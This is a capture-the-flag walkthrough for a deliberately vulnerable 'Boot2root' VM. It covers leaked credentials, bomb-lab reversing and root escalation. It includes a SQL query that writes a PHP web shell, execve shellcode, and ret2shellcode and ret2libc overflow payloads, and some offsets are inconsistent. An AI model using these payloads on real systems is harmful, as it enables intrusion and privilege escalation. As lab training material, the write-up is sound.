Skip to content

Latest commit

 

History

History
1012 lines (843 loc) · 28.8 KB

writeup1.md

File metadata and controls

1012 lines (843 loc) · 28.8 KB

Introduction

When we first boot up the VM we're greeted with a login screen. Obviously we have not been provided with any usernames / passwords, so it's up to us to find a way in.

When looking at the startup logs of the VM, we can see that apache2 has been started, we therefore know that there is a web server running on this VM.

Finding the IP

Let's find its IP ! Since I'm using VirtualBox with a Host-Only network adapter that is configured automatically, all I have is a range of IPs:

Server Address: 192.168.94.2
Server Mask: 255.255.255.0
Lower Address Bound: 192.168.94.3
Upper Address Bound: 192.168.94.254

VirtualBox will usually allocate the next available IP (starting from the Lower Address Bound) to a VM, but since I'm lazy let's just scan the range with nmap:

➜  Boot2root git:(main) ✗ nmap 192.168.94.3-254
Starting Nmap 7.80 ( https://nmap.org ) at 2023-10-30 17:07 CET
Nmap scan report for 192.168.94.4
[...]

Nmap scan report for 192.168.94.8
Host is up (0.0013s latency).
Not shown: 994 closed ports
PORT    STATE SERVICE
21/tcp  open  ftp
22/tcp  open  ssh
80/tcp  open  http
143/tcp open  imap
443/tcp open  https
993/tcp open  imaps

Nmap done: 252 IP addresses (2 hosts up) scanned in 5.19 seconds

Cool, we have the IP of our Boot2root VM (the 192.168.94.4 host was another one of my VM, we can ignore it).

List of services

We also notice that there are multiple services running:

  • ftp
  • ssh
  • http / https
  • imap / imaps

Since we don't have any credentials, let's ignore ftp, ssh and imap for now.

Let's try to access http://192.168.94.8 in our browser !

webpage

Nice, a basic website. After a bit of digging there is nothing suspicious within the HTML, network requests or cookies.

Let's try to find hidden directories with `dirb``:

➜  ~ dirb https://192.168.94.8 -r

-----------------
DIRB v2.22
By The Dark Raver
-----------------

START_TIME: Mon Oct 30 19:05:15 2023
URL_BASE: https://192.168.94.8/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
OPTION: Not Recursive

-----------------

GENERATED WORDS: 4612

---- Scanning URL: https://192.168.94.8/ ----
+ https://192.168.94.8/cgi-bin/ (CODE:403|SIZE:289)
==> DIRECTORY: https://192.168.94.8/forum/
==> DIRECTORY: https://192.168.94.8/phpmyadmin/
+ https://192.168.94.8/server-status (CODE:403|SIZE:294)
==> DIRECTORY: https://192.168.94.8/webmail/

-----------------
END_TIME: Mon Oct 30 19:05:20 2023
DOWNLOADED: 4612 - FOUND: 2

Since webmail and phpmyadmin require credentials we don't have, let's check out the forum ! We'll have to access it with https to avoid getting a 403

Forum

forum

Yet again there is a way to login, but we don't have any credentials. There are multiple forum posts, let's check them out.

In the Probleme login ? post, we can see that the lmezard user has posted his sshd logs. Here is the interesting part:

Oct 5 08:45:29 BornToSecHackMe sshd[7547]: Failed password for invalid user !q\]Ej?*5K5cy*AJ from 161.202.39.38 port 57764 ssh2

Seems like he put his password as the username by accident. Let's try to login on the forum with lmezard as the username and !q\]Ej?*5K5cy*AJ as the password.

I tried the credentials with all the services we have access to, and it only worked for the forum.

Since we are on his account, let's try to go to the User's Area:

forum2

There is an email address, let's try to login to the webmail with the same credentials. (but with [email protected] as the username)

Webmail

It worked!

webmail

There are two emails from [email protected]. The Very interesting !!!! isn't actually interesting, but the DB Access one is.

It contains the following credentials:

root/Fg-'kKXBj87E:aJ$

Since we're talking about a database, let's try to login to phpmyadmin with these credentials.

PhpMyAdmin

We're in!

phpmyadmin

As we are logged in as root, we can see all the databases. Let's check out the forum_db and mysql in the hopes of finding some credentials.

There are indeed some credentials in both the databases, but they are hashed. So let's try something else.

It seems we can execute php code from a SQL query (source), let's try to get launch shell commands.

First let's create a new database called exploit (the name doesn't matter). Then let's run a SQL query on the database we just created:

phpmyadmin2

Such as:

SELECT "<?php system($_GET['cmd']); ?>" into outfile "/var/www/forum/templates_c/backdoor.php"

How do we know the path of the templates_c directory ? Well if we run a scan with dirbuster we can see that there is a templates_c directory in the forum directory.

➜  ~ dirb https://192.168.94.8 | grep -E 'CODE:200|DIRECTORY'
==> DIRECTORY: https://192.168.94.8/forum/
[...]
==> DIRECTORY: https://192.168.94.8/forum/images/
==> DIRECTORY: https://192.168.94.8/forum/includes/
+ https://192.168.94.8/forum/index (CODE:200|SIZE:4935)
+ https://192.168.94.8/forum/index.php (CODE:200|SIZE:4935)
==> DIRECTORY: https://192.168.94.8/forum/js/
==> DIRECTORY: https://192.168.94.8/forum/lang/
==> DIRECTORY: https://192.168.94.8/forum/modules/
==> DIRECTORY: https://192.168.94.8/forum/templates_c/
==> DIRECTORY: https://192.168.94.8/forum/themes/
==> DIRECTORY: https://192.168.94.8/forum/update/
[...]

I've tried every other option and only the templates_c directory worked.

Now we can access the backdoor.php file with https://192.168.94.8/forum/templates_c/backdoor.php and execute commands with the cmd parameter:

https://192.168.94.8/forum/templates_c/backdoor.php?cmd=pwd
/var/www/forum/templates_c

https://192.168.94.8/forum/templates_c/backdoor.php?cmd=ls%20/
bin boot cdrom dev etc home initrd.img lib media mnt opt proc rofs root run sbin selinux srv sys tmp usr var vmlinuz

// Yet again after a lot of digging I found this in the home directory
https://192.168.94.8/forum/templates_c/backdoor.php?cmd=ls%20/home
LOOKATME ft_root laurie [email protected] lmezard thor zaz

https://192.168.94.8/forum/templates_c/backdoor.php?cmd=ls%20/home/LOOKATME
password

https://192.168.94.8/forum/templates_c/backdoor.php?cmd=cat%20/home/LOOKATME/password
lmezard:G!@M6f4Eatau{sF"

Additionally, you could also start a reverse shell here, but I didn't bother with it.

Finally, we have new credentials! They don't work for ssh, but they do for ftp.

Ftp

Alright, let's log in to FTP with the new credentials.

➜  ~ ftp [email protected]
Connected to 192.168.94.8.
220 Welcome on this server
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.

Perfect, let's see what's in there.

ftp> ls
229 Entering Extended Passive Mode (|||50074|).
150 Here comes the directory listing.
-rwxr-x---    1 1001     1001           96 Oct 15  2015 README
-rwxr-x---    1 1001     1001       808960 Oct 08  2015 fun
226 Directory send OK.

Let's use get to download the files

ftp> get README
[...]
226 Transfer complete.
96 bytes received in 00:00 (76.15 KiB/s)
ftp> get fun
[...]
226 Transfer complete.
808960 bytes received in 00:00 (36.50 MiB/s)

Let's see the content of the files; first README:

➜  ~ cat README
Complete this little challenge and use the result as password for user 'laurie' to login in ssh

Pretty straightforward. Let's see what's in fun:

➜  ~ cat fun
[...]
// Not showing anything cause it's too long but it's clearly not readable

Let's see what type of file it is then:

➜  ~ file fun
fun: POSIX tar archive (GNU)

It's a tar archive; let's extract it:

➜  ~ tar -xvf fun
ft_fun/
ft_fun/C4D03.pcap
ft_fun/GKGEP.pcap
ft_fun/A5GPY.pcap
ft_fun/K8SEB.pcap
ft_fun/PFG98.pcap
[...]

Great, we have a bunch of pcap files. Let's see what's in them using tcpdump:

➜  ft_fun sudo tcpdump 6ERKN.pcap
tcpdump: can't parse filter expression: syntax error

Looks like they're not pcap files.

After looking at their content, we realize that they're just regular text files with what appears to be C code, along with a number that I can only assume is the line number. For example:

➜  ft_fun cat 44QJL.pcap 
        printf("Hahahaha Got you!!!\n"); // C code

//file560% // Line number

I created a lua script to extract the C code from the files and put them in a single file. I also removed the //file part for extra clarity. Here is the result:

➜  ft_fun lua pcap_to_c.lua
Created file:   main.c
➜  ft_fun gcc main.c 
➜  ft_fun ./a.out 
MY PASSWORD IS: Iheartpwnage
Now SHA-256 it and submit

Simple as that. Now let's SHA-256 the password and carry on as instructed in the README.

330b845f32185747e4f8ca15d40ca59796035c89ea809fb5d30f4da83ecf45a4

SSH with user laurie

Alright, let's try to SSH with the new credentials.

➜  ~ ssh [email protected]
        ____                _______    _____
       |  _ \              |__   __|  / ____|
       | |_) | ___  _ __ _ __ | | ___| (___   ___  ___
       |  _ < / _ \| '__| '_ \| |/ _ \\___ \ / _ \/ __|
       | |_) | (_) | |  | | | | | (_) |___) |  __/ (__
       |____/ \___/|_|  |_| |_|_|\___/_____/ \___|\___|

                       Good luck & Have fun
[email protected]'s password:
laurie@BornToSecHackMe:~$

It works as expected. Let's see what's in the home directory.

laurie@BornToSecHackMe:~$ ls
bomb  README
laurie@BornToSecHackMe:~$ cat README
Diffuse this bomb!
When you have all the password use it as "thor" user with ssh.

HINT:
P
 2
 b

o
4

NO SPACE IN THE PASSWORD (password is case sensitive).
laurie@BornToSecHackMe:~$

Alright so we have to defuse the bomb by running the bomb executable. Let's see what it does:

laurie@BornToSecHackMe:~$ ./bomb
Welcome this is my little bomb !!!! You have 6 stages with
only one life good luck !! Have a nice day!
test

BOOM!!!
The bomb has blown up.

It seems like unless I give it the right input, it will blow up. After checking it out with gdb, I found the file to be way too long, so I'm going to use Ghidra instead.

This is a translated version of the main function:

All the following C code is not supposed to be compiled or be very accurate, it just gives a general idea of what the program does.

*FILE infile; // Used in read_line

int main(int argc,char **argv)
{
  char *buffer;
  
  if (argc == 1) {
    infile = stdin;
  }
  else {
    if (argc != 2) {
      printf("Usage: %s [<input_file>]\n", argv[0]);
      exit(8);
    }
    infile = fopen(argv[1],"r");
    if (infile == NULL) {
      printf("%s: Error: Couldn\'t open %s\n", argv[0], argv[1]);
      exit(8);
    }
  }
  initialize_bomb();
  printf("Welcome this is my little bomb !!!! You have 6 stages with\n");
  printf("only one life good luck !! Have a nice day!\n");
  buffer = read_line();
  phase_1(buffer);
  phase_defused(); // There actually is a secret phase hidden in here, but I didn't bother with it
  printf("Phase 1 defused. How about the next one?\n");
  buffer = read_line();
  phase_2(buffer);
  phase_defused();
  printf("That\'s number 2.  Keep going!\n");
  buffer = read_line();
  phase_3(buffer);
  phase_defused();
  printf("Halfway there!\n");
  buffer = read_line();
  phase_4(buffer);
  phase_defused();
  printf("So you got that one.  Try this one.\n");
  buffer = read_line();
  phase_5(buffer);
  phase_defused();
  printf("Good work!  On to the next...\n");
  buffer = read_line();
  phase_6(buffer);
  phase_defused();
  return 0;
}

So we have to go through 6 phases, and we only have one try for each of them. Let's see what the first phase does:

void phase_1(char *buffer)
{
  int i;
  
  i = strings_not_equal(buffer,"Public speaking is very easy.");
  if (i != 0) {
    explode_bomb();
  }
  return;
}

Pretty simple, we just have to use the string Public speaking is very easy. as input. On to phase 2:

void phase_2(char *buffer)
{
  int i;
  int tmp[7];
  
  read_six_numbers(buffer, tmp + 1); // Put the first 6 numbers of the input in tmp + 1
  if (tmp[1] != 1) {
    explode_bomb();
  }
  i = 1;
  do {
    if (tmp[i + 1] != (i + 1) * tmp[i]) {
      explode_bomb();
    }
    i++;
  } while (i < 6);
  return;
}

The first number we provide has to be equal to 1, furthermore our input needs to have exactly 6 numbers. The next number has to be equal to the index of the loop + 1 multiplied by the previous number. For example:

current_number = 1
index = 1
next_number = (index + 1) * current_number = 2

current_number = 2
index = 2
next_number = (index + 1) * current_number = 6

[...]

If you've noticed this is the equivalent of applying a factorial on the index we are at.

Using this logic, the final answer is 1 2 6 24 120 720. On to phase 3:

void phase_3(char *buffer)
{
  int i;
  char target;
  uint first_value;
  char second_value;
  int third_value;
  
  i = sscanf(buffer,"%d %c %d",&first_value,&second_value,&third_value);
  if (i < 3) {
    explode_bomb();
  }
  switch(first_value) {
  case 0:
    target = 'q';
    if (third_value != 777) {
      explode_bomb();
    }
    break;
  case 1:
    target = 'b';
    if (third_value != 214) {
      explode_bomb();
    }
    break;
  case 2:
    target = 'b';
    if (third_value != 755) {
      explode_bomb();
    }
    break;
  case 3:
    target = 'k';
    if (third_value != 251) {
      explode_bomb();
    }
    break;
  case 4:
    target = 'o';
    if (third_value != 160) {
      explode_bomb();
    }
    break;
  case 5:
    target = 't';
    if (third_value != 458) {
      explode_bomb();
    }
    break;
  case 6:
    target = 'v';
    if (third_value != 780) {
      explode_bomb();
    }
    break;
  case 7:
    target = 'b';
    if (third_value != 524) {
      explode_bomb();
    }
    break;
  default:
    target = 'x';
    explode_bomb();
  }
  if (target != second_value) {
    explode_bomb();
  }
  return;
}

Again, it's pretty straightforward. Here are all the possible answers:

0 q 777
1 b 214
2 b 755
3 k 251
4 o 160
5 t 458
6 v 780
7 b 524

Now let's move on to phase 4:

int func4(int first_value)
{
  int i;
  int y;
  
  if (first_value < 2) {
    y = 1;
  }
  else {
    i = func4(first_value + -1);
    y = func4(first_value + -2);
    y = y + i;
  }
  return y;
}

void phase_4(char *buffer)
{
  int i;
  int first_value;
  
  i = sscanf(buffer,"%d",&first_value);
  if ((i != 1) || (first_value < 1)) {
    explode_bomb();
  }
  i = func4(first_value);
  if (i != 55) {
    explode_bomb();
  }
  return;
}

First, we only need to provide one number which needs to be greater than 0. Then the func4 function is a recursive function that returns the first_value'th + 1 number of the Fibonacci sequence; so the answer is 9. On to phase 5:

char array[16] = "isrveawhobpnutfg";

void phase_5(char *buffer)
{
  int i;
  char tmp[6];
  
  i = string_length(buffer);
  if (i != 6) {
    explode_bomb();
  }
  i = 0;
  do {
    tmp[i] = array[buffer[i] & 0b00001111];
    i = i + 1;
  } while (i < 6);
  tmp[6] = 0;
  i = strings_not_equal(tmp,"giants");
  if (i != 0) {
    explode_bomb();
  }
  return;
}

We need to provide a string of exactly 6 characters. Then for each character, we take the last 4 bits and use them as an index for the array array. To elaborate:

'g' at index 15, aka binary 1111
'i' at index 0, aka binary 0000
'a' at index 5, aka binary 0101
'n' at index 11, aka binary 1011
't' at index 13, aka binary 1101
's' at index 1, aka binary 0001

For example let's try with 'a':
array[a & 0b00001111];
array[01100001 & 0b00001111];
array[00000001];
array[1] = 's';

Here's all the possible answers for each character (ignoring capital letters):
g: o
i: p
a: e, u
n: k
t: m
s: a, q

Therefore our possible answers are:
opekma, opukma, opekmq, opukmq

Finally, let's move on to phase 6:

Even though I'm using ghidra, this phase is still very hard to understand. Therefore, I'll need to make some assumptions, as well as slightly modify the structure / logic.

// Assuming node is defined as
typedef struct Node {
  int value;
  struct Node *next;
} Node;

/*
As we can see in the main function, we assign node1 to our current node.
node1 is actually a global variable, it is also the first node of a linked list which is defined as follows:
node1->next = node2
node2->next = node3
node3->next = node4
node4->next = node5
node5->next = node6
node6->next = NULL

Here are the values of each node:
(gdb) p node1
$1 = 253
(gdb) p node2
$2 = 725
(gdb) p node3
$3 = 301
(gdb) p node4
$4 = 997
(gdb) p node5
$5 = 212
(gdb) p node6
$6 = 432
*/

void phase_6(char *buffer) {
  Node *current_node;
  Node *selected_nodes[6];
  int input_numbers[6];
  
  current_node = node1;
  read_six_numbers(buffer, input_numbers);
  
  // Input numbers must be between 1 and 6, and there can't be duplicates. Therefore we're looking for positions.
  for (int i = 0; i < 6; i++) {
    if (input_numbers[i] < 1 || input_numbers[i] > 6) {
      explode_bomb();
    }
    for (int j = i + 1; j < 6; j++) {
      if (input_numbers[i] == input_numbers[j]) {
        explode_bomb();
      }
    }
  }
  
  // Select nodes based on input_numbers aka their positions and put them in selected_nodes
  for (int i = 0; i < 6; i++) {
    current_node = node1;
    for (int j = 1; j < input_numbers[i]; j++) {
      current_node = current_node->next;
    }
    selected_nodes[i] = current_node;
  }
  
  // Properly link the selected nodes
  for (int i = 0; i < 5; i++) {
    selected_nodes[i]->next = selected_nodes[i + 1];
  }
  selected_nodes[5]->next = NULL;
  
  // Check if the list is sorted in descending order
  current_node = selected_nodes[0];
  for (int i = 0; i < 5; i++) {
    if (current_node->value < current_node->next->value) {
      explode_bomb();
    }
    current_node = current_node->next;
  }
}

So we need to provide 6 numbers between 1 and 6, without duplicates. Then we need to select the nodes based on their position in the linked list so that their values are in descending order. For example:

Input: 1 2 3 4 5 6
Selected nodes: node1 node2 node3 node4 node5 node6
Linked list: node1->node2->node3->node4->node5->node6->NULL
Sorted: 253 725 301 997 212 432
INCORRECT

Input: 4 2 6 3 1 5
Selected nodes: node4 node2 node6 node3 node1 node5
Linked list: node4->node2->node6->node3->node1->node5->NULL
Sorted: 997 725 432 301 253 212
CORRECT

Alright, we've completed all the phases! Feel free to put them in a single file and run it to see the result:

laurie@BornToSecHackMe:~$ echo "Public speaking is very easy.
1 2 6 24 120 720
0 q 777
9
opekmq
4 2 6 3 1 5" > plop
laurie@BornToSecHackMe:~$ ./bomb plop
Welcome this is my little bomb !!!! You have 6 stages with
only one life good luck !! Have a nice day!
Phase 1 defused. How about the next one?
That's number 2.  Keep going!
Halfway there!
So you got that one.  Try this one.
Good work!  On to the next...
Congratulations! You've defused the bomb!

Perfect, now we can assemble the password for the thor user. According to the README, we just need to put all the answers together without spaces.

bruh

Using the hints from the README to eliminate some possibilities (since we have multiple answers for some stages) and brute forcing the rest, we can find the password:

Publicspeakingisveryeasy.126241207201b2149opekmq426135

User thor

Alright, lets login to the thor user with the new password.

laurie@BornToSecHackMe:~$ su thor
Password:
thor@BornToSecHackMe:~$

Let's see what's in the home directory.

thor@BornToSecHackMe:~$ ls
README  turtle
thor@BornToSecHackMe:~$ cat README
Finish this challenge and use the result as password for 'zaz' user.

Let's finish this challenge then! There is a turtle executable in the home directory, let's see what it contains.

thor@BornToSecHackMe:~$ cat turtle
Tourne gauche de 90 degrees
Avance 50 spaces
Avance 1 spaces
Tourne gauche de 1 degrees
Avance 1 spaces
Tourne gauche de 1 degrees
Avance 1 spaces
[...]

Seems like directions, there happens to be a turtle python library, which has similar functions; however it's not in the same language. Let's translate the turtle file into python code.

I've created a python script to do just that. It produces the following graphical output:

turtle1 turtle2 turtle3 turtle4 turtle5

It is clearly writing SLASH. However, it doesn't work as a password for the zaz user! Furthermore, if we look at the end of the turtle file, we can see the following:

Can you digest the message? :)

The word digest is a hint, we need to hash the password. After using multiple hashing algorithms, I found that MD5 works for the password of the zaz user.

646da671ca01bb5d84dbb5fb2238dc8e

User zaz

Lets login into the zaz user with the password we just found.

thor@BornToSecHackMe:~$ su zaz
Password:
zaz@BornToSecHackMe:~$

Let's see what's in the home directory.

zaz@BornToSecHackMe:~$ ls
exploit_me  mail

No README this time and the mail folder doesn't have anything interesting. So our only option is to exploit the exploit_me executable, Let's try to run it:

zaz@BornToSecHackMe:~$ ./exploit_me
zaz@BornToSecHackMe:~$ ./exploit_me hello
hello

Alright let's use gdb and analyze the assembly code:

Dump of assembler code for function main:
   # Usual setup
   0x080483f4 <+0>:     push   %ebp
   0x080483f5 <+1>:     mov    %esp,%ebp
   0x080483f7 <+3>:     and    $0xfffffff0,%esp

   # Allocating 144 bytes on the stack
   0x080483fa <+6>:     sub    $0x90,%esp

   # Compare 1 with argc
   0x08048400 <+12>:    cmpl   $0x1,0x8(%ebp)
   # If greater/not less or equal then jump to main+25
   # To recap: if (argc <= 1)
   0x08048404 <+16>:    jg     0x804840d <main+25>

   # Moving 1 into eax to do a return 1
   0x08048406 <+18>:    mov    $0x1,%eax
   # Jump to main+66
   0x0804840b <+23>:    jmp    0x8048436 <main+66>

   # Moving *argv[0] into eax
   0x0804840d <+25>:    mov    0xc(%ebp),%eax
   # Go to *argv[1] (*argv[0] + 4 bytes = *argv[1])
   0x08048410 <+28>:    add    $0x4,%eax
   # Dereference the address to get the value (*argv[1] => argv[1])
   0x08048413 <+31>:    mov    (%eax),%eax
   # Moving argv[1] into esp to be used as the second argument of strcpy
   0x08048415 <+33>:    mov    %eax,0x4(%esp)
   # Calculate the address of esp + 16, this will be our buffer for strcpy, since we allocated 144 bytes for the stack our buffer will therefore be 128 bytes such as char buffer[128], and putting it into eax
   0x08048419 <+37>:    lea    0x10(%esp),%eax
   # Moving buffer into esp to be used as the first argument of strcpy
   0x0804841d <+41>:    mov    %eax,(%esp)
   # To recap: strcpy(buffer, argv[1])
   0x08048420 <+44>:    call   0x8048300 <strcpy@plt>
   # Calculate the address of buffer
   0x08048425 <+49>:    lea    0x10(%esp),%eax
   # Moving buffer into esp to be used as the argument of puts
   0x08048429 <+53>:    mov    %eax,(%esp)
   # To recap: puts(buffer)
   0x0804842c <+56>:    call   0x8048310 <puts@plt>

   # Moving 0 into eax to do a return 0
   0x08048431 <+61>:    mov    $0x0,%eax
   # Leaving the function
   0x08048436 <+66>:    leave
   0x08048437 <+67>:    ret
End of assembler dump.

Here is a C equivalent of the assembly code:

The following C code is an exact translation of the assembly code, please compile it with -fno-stack-protector using gcc to get the same assembly result.

int main(int argc, char **argv)
{
    char buffer[128];

    if (argc <= 1)
        return 1;

    strcpy(buffer, argv[1]);
    puts(buffer);
    return 0;
}

Pretty basic, let's first check the security of the executable.

➜  ~ checksec --file=exploit_me
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH    [...]
No RELRO        No canary found   NX disabled   No PIE          No RPATH   No RUNPATH [...]

With this knowledge in mind and the fact that the original C file was compiled with the -fno-stack-protector flag, We can exploit the executable with a simple buffer overflow.

Let's analyze the stack layout of our program:

(gdb) b *main+66 # Breaking before leave
Breakpoint 1 at 0x8048436

(gdb) r # Run the program
Starting program: /home/zaz/exploit_me

Breakpoint 1, 0x08048436 in main ()

(gdb) info registers # Check esp and ebp addresses
[...]
esp            0xbffff6c0       0xbffff6c0
ebp            0xbffff758       0xbffff758
[...]

By calculating the difference between esp and ebp we can see that the stack is allocated 152 bytes:

0xbffff728 - 0xbffff6c0 = 98 (152 in decimal)

Furthermore, we can see that our buffer is located at 0x10(%esp),%eax. Since there is 152 bytes for the stack, our buffer will therefore require 136 bytes (152 - 16) before reaching ebp.

Since our goal is to overflow the stack until we reach the return address of the main function, we need to add another 4 bytes to go from ebp to ebp + 4 (the return address). So a total of 140 bytes (136 + 4).

Anything written beyond those 140 bytes will be treated as an address (only the 4 next bytes) and jumped to by the ret instruction of the main function.

There are different ways to solve this challenge, we'll see two of them. First with a ret2shellcode and then the ret2libc way.

Ret2shellcode

Explanation

We opt for a shellcode designed to spawn a shell. This shellcode, taken from the Exploit Database, is compact and effective for our purpose:

\x31\xc9\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80

Our goal is to write this shellcode in memory or in an environment variable and jump to it, it will then be executed, which will spawn a shell. Executing our shellcode is basically the equivalent of running system("/bin/sh").

Exploit

We can either feed our shellcode to the program, or we can put the shellcode in an environment variable. For convenience, we'll use the environment variable:

zaz@BornToSecHackMe:~$ export EXPLOIT=`python -c "print '\x90' * 200 + '\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80'"`

We'll write and run a C program to find the address of the environment variable:

#include <stdio.h>
#include <stdlib.h>

int main()
{
    printf("%p\n", getenv("EXPLOIT"));
    return 0;
}
zaz@BornToSecHackMe:/tmp$ ./a.out
0xbffff865

That address will be different for you, you'll have to change it in the payload.

Alright, let's craft our payload:

padding + address of shellcode

"\x90"*140 + "\xbf\xff\xf8\x65"

Let's run it:

zaz@BornToSecHackMe:~$ ./exploit_me `python -c 'print("\x90"*140 + "\xbf\xff\xf8\x65"[::-1])'`
��������������������������������������������������������������������������������������������������������������������������������������������e���
# whoami
root

Perfect, let's move to the other solution.

Ret2libc

Explanation

Ret2Libc (Return-to-Libc) is an exploit technique that redirects the program flow to execute existing library functions.

A typical Ret2Libc exploit is constructed as follows:

padding + address of system + address of exit + address of "/bin/sh"

The address of exit is actually optional, but not providing it will cause the program to crash after executing the system function.

Exploit

We, therefore, need the addresses of the system, exit functions and the string /bin/sh in memory. These are found using GDB:

# System
(gdb) info function system
0xb7e6b060  __libc_system
0xb7e6b060  system
[...]

# Exit
(gdb) info function exit
0xb7e5ebe0  exit
[...]

# /bin/sh
(gdb) info proc mappings
[...]
0xb7e2c000 0xb7fcf000   0x1a3000        0x0 /lib/i386-linux-gnu/libc-2.15.so
[...]
(gdb) find 0xb7e2c000, 0xb7fcf000, "/bin/sh"
0xb7f8cc58
1 pattern found.

Alright, let's craft our payload:

reminder: padding + address of system + address of exit + address of "/bin/sh"

"\x90"*76 + "\xb7\xe6\xb0\x60" + "\xb7\xe5\xeb\xe0" + "\xb7\xf8\xcc\x58"

Let's run it:

zaz@BornToSecHackMe:~$ ./exploit_me `python -c 'print("\x90"*140 + "\xb7\xe6\xb0\x60"[::-1] + "\xb7\xe5\xeb\xe0"[::-1] + "\xb7\xf8\xcc\x58"[::-1])'`
��������������������������������������������������������������������������������������������������������������������������������������������`�����X���
# whoami
root

Congratulations, we've completed the challenge!